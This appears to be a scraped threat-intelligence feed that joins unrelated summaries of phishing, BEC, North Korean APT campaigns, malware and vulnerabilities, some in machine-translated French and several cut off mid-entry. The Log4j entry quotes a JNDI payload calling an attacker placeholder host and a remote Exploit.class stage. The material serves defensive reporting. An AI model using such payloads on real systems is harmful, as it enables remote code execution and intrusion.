Key takeaways TA427 regularly engages in benign conversation starter campaigns to establish contact with targets for long-term exchanges of information on topics of strategic importance to the North Korean regime. In addition to using specially crafted lure content, TA427 heavily leverages think tank and non-governmental organization-related personas to legitimize its emails and increase the chances that targets will engage with the threat actor. To craftily pose as its chosen personas, TA427 uses a few tactics including DMARC abuse in concert with free email addresses, typosquatting, and private email account spoofing. TA427 has also incorporated web beacons for initial reconnaissance of its targets, establishing basic information like that the email account is active. Overview Proofpoint researchers track numerous state-sponsored and state-aligned threat actors. TA427 (also known as Emerald Sleet, APT43, THALLIUM or Kimsuky), a Democratic People\'s Republic of Korea (DPRK or North Korea) aligned group working in support of the Reconnaissance General Bureau, is particularly prolific in email phishing campaigns targeting experts for insight into US and the Republic of Korea (ROK or South Korea) foreign policy. Since 2023, TA427 has directly solicited foreign policy experts for their opinions on nuclear disarmament, US-ROK policies, and sanction topics via benign conversation starting emails. In recent months, Proofpoint researchers have observed (Figure 1) a steady, and at times increasing, stream of this activity. While our researchers have consistently observed TA427 rely on social engineering tactics and regularly rotating its email infrastructure, in December 2023 the threat actor began to abuse lax Domain-based Message Authentication, Reporting and Conformance (DMARC) policies to spoof various personas and, in February 2024, began incorporating web beacons for target profiling. It is this initial engagement, and the tactics successfully leveraged by TA427, which this blog is focused on. Figure 1. Volume of TA427 phishing campaigns observed between January 2023 and March 2024. Social engineering TA427 is a savvy social engineering expert whose campaigns are likely in support of North Korea\'s strategic intelligence collection efforts on US and ROK foreign policy initiatives. Based on the targets identified and the information sought, it is believed that TA427\'s goal is to augment North Korean intelligence and inform its foreign policy negotiation tactics (example Figure 2). TA427 is known to engage its targets for extended periods of time through a series of benign conversations to build a rapport with targets that can occur over weeks to months. They do so by constantly rotating which aliases are used to engage with the targets on similar subject matter. Figure 2. Example of TA427 campaign focused on US policy during an election year. Using timely, relevant lure content (as seen in Figure 3) customized for each victim, and often spoofing individuals in the DPRK research space with whom the victim is familiar to encourage engagement, targets are often requested to share their thoughts on these topics via email or a formal research paper or article. Malware or credential harvesting are never directly sent to the targets without an exchange of multiple messages, and based on Proofpoint visibility, rarely utilized by the threat actor. It is possible that TA427 can fulfill its intelligence requirements by directly asking targets for their opinions or analysis rather than from an infection. Additionally, insight gained from the correspondence is likely used to improve targeting of the victim organization and establish rapport for later questions and engagement. Figure 3. Timeline of real-world events based on international press reporting, side-by-side with Proofpoint observed subject lures. Lure content often includes invitations to attend events about North Korean policies regarding international affairs, questions regarding topics such as how deterr | Malware Tool Threat Conference | APT 37 APT 43 | ★★ |

[The Mind\'s Bias] Pretexting Now Tops Phishing in Social Engineering Attacks
The New Verizon DBIR is a treasure trove of data. As we will cover a bit below, Verizon reported that 74% of data breaches Involve the "Human Element," so people are one of the most common factors contributing to successful data breaches. Let\'s drill down a bit more in the social engineering section.
They explained: "Now, who has received an email or a direct message on social media from a friend or family member who desperately needs money? Probably fewer of you. This is social engineering (pretexting specifically) and it takes more skill.
"The most convincing social engineers can get into your head and convince you that someone you love is in danger. They use information they have learned about you and your loved ones to trick you into believing the message is truly from someone you know, and they use this invented scenario to play on your emotions and create a sense of urgency. The DBIR Figure 35 shows that Pretexting is now more prevalent than Phishing in Social Engineering incidents. However, when we look at confirmed breaches, Phishing is still on top."
A social attack known as BEC, or business email compromise, can be quite intricate. In this type of attack, the perpetrator uses existing email communications and information to deceive the recipient into carrying out a seemingly ordinary task, like changing a vendor\'s bank account details. But what makes this attack dangerous is that the new bank account provided belongs to the attacker. As a result, any payments the recipient makes to that account will simply disappear.
BEC Attacks Have Nearly Doubled
It can be difficult to spot these attacks as the attackers do a lot of preparation beforehand. They may create a domain doppelganger that looks almost identical to the real one and modify the signature block to show their own number instead of the legitimate vendor.
Attackers can make many subtle changes to trick their targets, especially if they are receiving many similar legitimate requests. This could be one reason why BEC attacks have nearly doubled across the DBIR entire incident dataset, as shown in Figure 36, and now make up over 50% of incidents in this category.
Financially Motivated External Attackers Double Down on Social Engineering
Timely detection and response is crucial when dealing with social engineering attacks, as well as most other attacks. Figure 38 shows a steady increase in the median cost of BECs since 2018, now averaging around $50,000, emphasizing the significance of quick detection.

Deconstructing Amadey’s Latest Multi-Stage Attack and Malware Distribution
(published: May 5, 2023)
McAfee researchers have detected a multi-stage attack that starts with a trojanized wextract.exe, Windows executable used to extract files from a cabinet (CAB) file. It was used to deliver the AgentTesla, Amadey botnet, LockBit ransomware, Redline Stealer, and other malicious binaries. To avoid detection, the attackers use obfuscation and disable Windows Defender through the registry thus stopping users from turning it back on through the Defender settings.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioral analysis defenses and social engineering training. Users should report suspicious files with double extensions such as .EXE.MUI. Indicators associated with this campaign are available in the Anomali platform and users are advised to block these on their infrastructure.

Eastern Asian Android Assault – FluHorse
(published: May 4, 2023)
Active since May 2022, a newly-detected Android stealer dubbed FluHorse spreads mimicking popular apps or as a fake dating application. According to Check Point researchers, FluHorse was targeting East Asia (Taiwan and Vietnam) while remaining undetected for months. This stealthiness is achieved by sticking to minimal functions while also relying on a custom virtual machine that comes with the Flutter user interface software development kit. FluHorse is being distributed via emails that prompt the recipient to install the app and once installed, it asks for the user’s credit card or banking data. If a second factor authentication is needed to commit banking fraud, FluHorse tells the user to wait for 10-15 minutes while intercepting codes by installing a listener for all incoming SMS messages.
Analyst Comment: FluHorse\'s ability to remain undetected for months makes it a dangerous threat. Users should avoid installing applications following download links received via email or other messaging. Verify the app authenticity on the official com |

Depuis 2022, le groupe parrainé par le Nord-Korea APT37 (Group123, Ricochet Chollima) a principalement changé ses méthodes de livraison de Maldocs pour cacher des charges utiles à l'intérieur des fichiers LNK surdimensionnés.Vérifier les chercheurs a identifié plusieurs chaînes d'infection utilisées par le groupe de juillet 2022 à avril 2023. Celles-ci ont été utilisées pour livrer l'un des outils personnalisés de l'APT37 (Goldbackdoor et Rokrat), ou le malware de marchandises Amadey.Tous les leurres étudiés semblent cibler des personnes coréennes avec des sujets liés à la Corée du Sud.
Commentaire de l'analyste: Le passage aux chaînes d'infection basées sur LNK permet à APT37 de l'interaction utilisateur moins requise car la chaîne peut être déclenchée par un simple double clic.Le groupe continue l'utilisation de Rokrat bien triés qui reste un outil furtif avec ses couches supplémentaires de cryptage, le cloud C2 et l'exécution en mémoire.Les indicateurs associés à cette campagne sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquerleur infrastructure.

campagne de phishingCible l'industrie chinoise de l'énergie nucléaire
(Publié: 24 mars 2023)
Actif Depuis 2013, le groupe amer (T-APT-17) est soupçonné d'être parrainé par le gouvernement indien.Des chercheurs Intezer ont découvert une nouvelle campagne amère ciblant les universitaires, le gouvernement et d'autres organisations de l'industrie de l'énergie nucléaire en Chine.Les techniques sont cohérentes avec les campagnes amères observées précédemment.L'intrusion commence par un e-mail de phishing censé provenir d'un véritable employé de l'ambassade du Kirghizistan.Les pièces jointes malveillantes observées étaient soit des fichiers HTML (CHM) compilés à Microsoft, soit des fichiers Microsoft Excel avec des exploits d'éditeur d'équation.L'objectif des charges utiles est de créer de la persistance via des tâches planifiées et de télécharger d'autres charges utiles de logiciels malveillants (les campagnes amères précédentes ont utilisé le voleur d'identification du navigateur, le voleur de fichiers, le keylogger et les plugins d'outils d'accès à distance).Les attaquants se sont appuyés sur la compression LZX et la concaténation des cordes pour l'évasion de détection.
Commentaire de l'analyste: De nombreuses attaques avancées commencent par des techniques de base telles que des e-mails injustifiés avec une pièce jointe qui oblige l'utilisateur à l'ouvrir.Il est important d'enseigner l'hygiène de base en ligne à vos utilisateurs et la sensibilisation au phishing.Il est sûr de recommander de ne jamais ouvrir de fichiers CHM joints et de garder votre bureau MS Office entièrement mis à jour.Tous les indicateurs connus associés à cette campagne amère sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquer sur leur infrastructure.

2022-10-18 08:41:18 | The benefits of taking an intent-based approach to detecting Business Email Compromise (lien direct) |  By Abhishek Singh.BEC is a multi-stage attack. Adversaries first identify targets, then they establish rapport with the victim before exploiting them for whatever their end goal is. In the case of BEC, a threat actor can impersonate any employee in the organization to trick targets. A policy that checks for authorized email addresses of the sender can prevent BEC attacks. However, scaling the approach for every employee in a large organization is a challenge. Building an executive profile based on email analysis using a machine learning model and scanning emails against that profile will detect BEC. Data collection for building and training machine learning algorithms can take time, though, opening a window of opportunity for threat actors to exploit. Detection of exploitation techniques such as lookalike domains and any differences in the email addresses in the "From" and "Reply-to" fields can also detect BEC messages. However, the final verdict cannot account for the threat actor's intent. The intent-based approach detects BEC and then classifies it into the type of scam. It catches BEC messages, irrespective of whether a threat actor is impersonating a C-level executive or any employee in an organization. Classification based on the type of scam can help identify which segment of an organization was targeted and which employees were being impersonated by the threat actor. The additional information will further assist in better designing preventive features to stop BEC. Business email compromise (BEC) is one of the most financially damaging online crimes. As per the internet crime 221 report, the total loss in 2021 due to BEC is around 2.4 billion dollars. Since 2013, BEC has resulted in a 43 billion dollars loss. The report defines BEC as a scam targeting businesses (not individuals) working with foreign suppliers and companies regularly performing wire transfer payments. Fraudsters carry out these sophisticated scams to conduct the unauthorized transfer of funds. This introduces the challenge of how to detect and block these campaigns as they continue to compromise organizations successfully. There are a variety of approaches to identifying BEC email messages, such as using policy to allow emails from authorized email addresses, detecting exploitation techniques used by threat actors, building profiles by analysis of emails, and validating against the profile to detect BEC. These approaches have a variety of limitations or shortcomings. Cisco Talos is taking a different approach and using an intent-based model to identify and block BEC messages. Before we get too deep into the intent-based model, take a deeper look at the commonly used approaches to block BEC from the simplistic through machine learning (ML) approaches. Policy-based detection The first place to start is with policy-based detection as it is one of the most common and simplistic approaches to blocking BEC campaigns. Let's start by looking at an example of a BEC email. |

LastPass Hackers Stole Source Code
(published: August 26, 2022)
In August 2022, an unidentified threat actor gained access to portions of the password management giant LastPass development environment. LastPass informed that it happened through a single compromised developer account and the attacker took portions of source code and some proprietary LastPass technical information. The company claims that this incident did not affect customer data or encrypted password vaults.
Analyst Comment: This incident doesn’t seem to have an immediate impact on LastPass users. Still, organizations relying on LastPass should raise the concern in their risk assessment since “white-box hacking” (when source code of the attacking system is known) is easier for threat actors. Organizations providing public-facing software should take maximum measures to block threat actors from their development environment and establish robust and transparent security protocols and practices with all third parties involved in their code development.

Mercury Leveraging Log4j 2 Vulnerabilities in Unpatched Systems to Target Israeli
(published: August 25, 2022)
Starting in July 2022, a new campaign by Iran-sponsored group Static Kitten (Mercury, MuddyWater) was detected targeting Israeli organizations. Microsoft researchers detected that this campaign was leveraging exploitation of Log4j 2 vulnerabilities (CVE-2021-45046 and CVE-2021-44228) in SysAid applications (IT management tools). For persistence Static Kitten was dropping webshells, creating local administrator accounts, stealing credentials, and adding their tools in the startup folders and autostart extensibility point (ASEP) registry keys. Overall the group was heavily using various open-source and built-in operating system tools: eHorus remote management software, Ligolo reverse tunneling tool, Mimikatz credential theft tool, PowerShell programs, RemCom remote service, Venom proxy tool, and Windows Management Instrumentation (WMI).
Analyst Comment: Network defenders should monitor for alerts related to web shell threats, suspicious RDP sessions, ASEP registry anomaly, and suspicious account creation. Similarly, SysAid users can monitor for webshells and abnormal processes related to SysAisServer instance. Even though Static Kitten was observed leveraging the Log4Shell vulnerabilities in the past (targeting VMware apps), most of their attacks still start with spearphishing, often from a compromised email account.

2022-08-18 08:00:00 | Ukraine and the fragility of agriculture security (lien direct) |  By Joe Marshall.The war in Ukraine has had far-reaching global implications and one of the most immediate effects felt will be on the global supply chain for food. This war-induced fragility has exposed the weaknesses of how we feed ourselves globally. Ransomware cartels and other adversaries are well aware of this and are actively exploiting that fragility. For the past six years, Cisco Talos has been actively involved in assisting public and private institutions in Ukraine to defend themselves against state-sponsored actors. Our involvement stretches the gamut from commercial to critical infrastructure, to election security. Our presence has afforded us unique opportunities and observations about cybersecurity in a macro and micro way. Ukraine has been a frequent victim of state-sponsored cyber attacks aimed at critical infrastructures like power and transportation. Talos is proud to stand with our partners in Ukraine and help defend their critical networks and help users there maintain access to necessary services. Now that Russia has invaded Ukraine, those threats have escalated to kinetic attacks that are wreaking havoc on a critical element of our world: agriculture and our global food supply chain. Even worse is the implications this war will have for future cyber attacks, as fragility is considered a lucrative element in deciding victimology by threat actors like ransomware cartels. To truly grasp the implications of the war in Ukraine, we have to examine how vital Ukrainian agriculture feeds the world, the current state of affairs, and what this means for the global cybersecurity posture to protect agricultural assets. Where there is weakness, there is opportunityRansomware cartels and their affiliates are actively targeting the agricultural industry. Moreover, these actors have done their homework and are targeting agricultural companies during the two times of the year where they cannot suffer disruptions: planting and harvesting. Per the published FBI PIN Alert: “Cyber actors may perceive cooperatives as lucrative targets with a willingness to pay due to the time-sensitive role they play in agricultural production.” This is far from unusual for these adversaries - they are shrewd and calculating, and understand their victims' weaknesses and industries.

SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT”
(published: July 28, 2022)
Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode.
Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).

A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

New Malware Hides as Legit Nginx Process on E-Commerce Servers
(published: December 2, 2021)
Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity.

How Phishing Kits Are Enabling A New Legion Of Pro Phishers
(published: December 2, 2021)
Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested.
Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

2021-11-30 11:24:48 | Recent APT37 Activity and Chinotto, a Multi Platform Infostealer (lien direct) | FortiGuard Labs is aware of reports of recent activity from APT37. APT37 is a nation-state threat actor attributed to North Korea. The latest discovery by researchers at Kaspersky Labs has revealed a sophisticated, targeted attack that utilizes the stolen credentials from Facebook and email accounts belonging to an associate of the targeted victim.The victim was socially engineered and compelled into opening rar zipped attachments purporting to be from the trusted sender that contained a malicious Word document. The Word document is multi stage in design, and uses a malicious macro to initiate the first stage. The first stage detects the presence of AV software, and if AV is not present will initiate the second stage which is a shellcode that will download the final third stage payload.Ultimately, after several months of dwelling undetected on the infected system, the backdoor will then download the multiplatform infostealer, "Chinotto." Windows variants were sent via spearphishing emails and Android variants were sent via SMShing texts.What Operating Systems are Affected?Chinoto targets Windows and Android based operating systems.Is This Limited to Targeted Attacks?Yes.How Serious of an Issue is This?Medium.What is APT37?APT37 (also known as GROUP123 and Scarcruft), attributed to North Korean threat actors, has been in operation for several years. During that time, APT37 has been attributed to the Adobe Flash zero-day attack (CVE-2018-4878) that targeted researchers based in South Korea who were performing research on North Korea. APT37 focuses on various organizations with an interest in North Korea.APT37 is famous for exploiting vulnerabilities in the Hangul Word Processor (HWP) which is commonly used in South Korea, especially by those in the government sector. Analysis suggests that this is a very detailed and sophisticated threat actor with an arsenal of malware and exploits at their disposal that targets various verticals and organizations with specially crafted campaigns. Other vectors besides the Adobe and Hangul vulnerabilities observed were the usage of Microsoft vulnerabilities as well, specifically CVE-2017-0199 (Microsoft Office UAC bypass) and CVE-2015-2545 (Microsoft Office Encapsulated PostScript (EPS). For further details on the exploitation of HWP documents and campaigns previously analyzed, please refer to our blog here.What is the Status of Coverage?FortiGuard Labs has AV coverage in place for publicly available samples as:VBA/Agent.AAK!trW32/PossibleThreatVBA/Agent.AF3C!trW32/Agent.ACDD!trPossibleThreat.MUPossibleThreat.PALLAS.HW32/FRS.VSNTGF20!trW32/Bsymem.MSJ!trAll network IOCs are blocked by the WebFiltering client.Any Other Suggested Mitigation?Due to the ease of disruption and the potential for damage to daily operations, reputation, and unwanted release of personally identifiable information (PII), etc. it is important to keep all AV and IPS signatures up to date.It is also important to ensure that all known vendor vulnerabilities are addressed and updated to protect from attackers having a foothold within a network. Attackers are well aware of the difficulty of patching and if it is determined that patching is not feasible at this time, an assessment should be conducted to determine risk.Also, as this campaign was sent via spearphishing and smsshing - organizations are encouraged to conduct ongoing training sessions to educate and inform personnel about the latest phishing/spearphishing/smishing attacks. They also need to encourage employees to never open attachments from someone they don't know, and to always treat emails from unrecognized/untrusted senders with caution. Since it has been reported that various phishing/spearphishing/smishing attacks have been delivered via social engineering distribution mechanisms, it is crucial that end users within an organization be made aware of the various types of attacks being delivered. This can be accomplished through regular training sessions and impromptu tests using predetermined templates by an organizations' internal security department.

Microsoft Exchange Servers Still Vulnerable to ProxyShell Exploit
(published: August 23, 2021)
Despite patches a collection of vulnerabilities (ProxyShell) discovered in Microsoft Exchange being available in the July 2021 update, researchers discovered nearly 2,000 of these vulnerabilities have recently been compromised to host webshells. These webshells allow for attackers to retain backdoor access to compromised servers for further exploitation and lateral movement into the affected organizations. Researchers believe that these attacks may be related to the recent LockFile ransomware attacks.
Analyst Comment: Organizations running Microsoft Exchange are strongly encouraged to prioritize updates to prevent ongoing exploitation of these vulnerabilities. In addition, a thorough investigation to discover and remove planted webshells should be undertaken as the patches will not remove planted webshells in their environments. A threat intelligence platform (TIP) such as Anomali Threatstream can be a valuable tool to assist organizations ingesting current indicators of compromise (IOCs) and determine whether their Exchange instances have been compromised.

LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
(published: August 20, 2021)
A new ransomware family, named Lockfile by Symantec researchers, has been observed on the network of a US financial organization. The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC. The attackers appear to remain resident on the network for several |
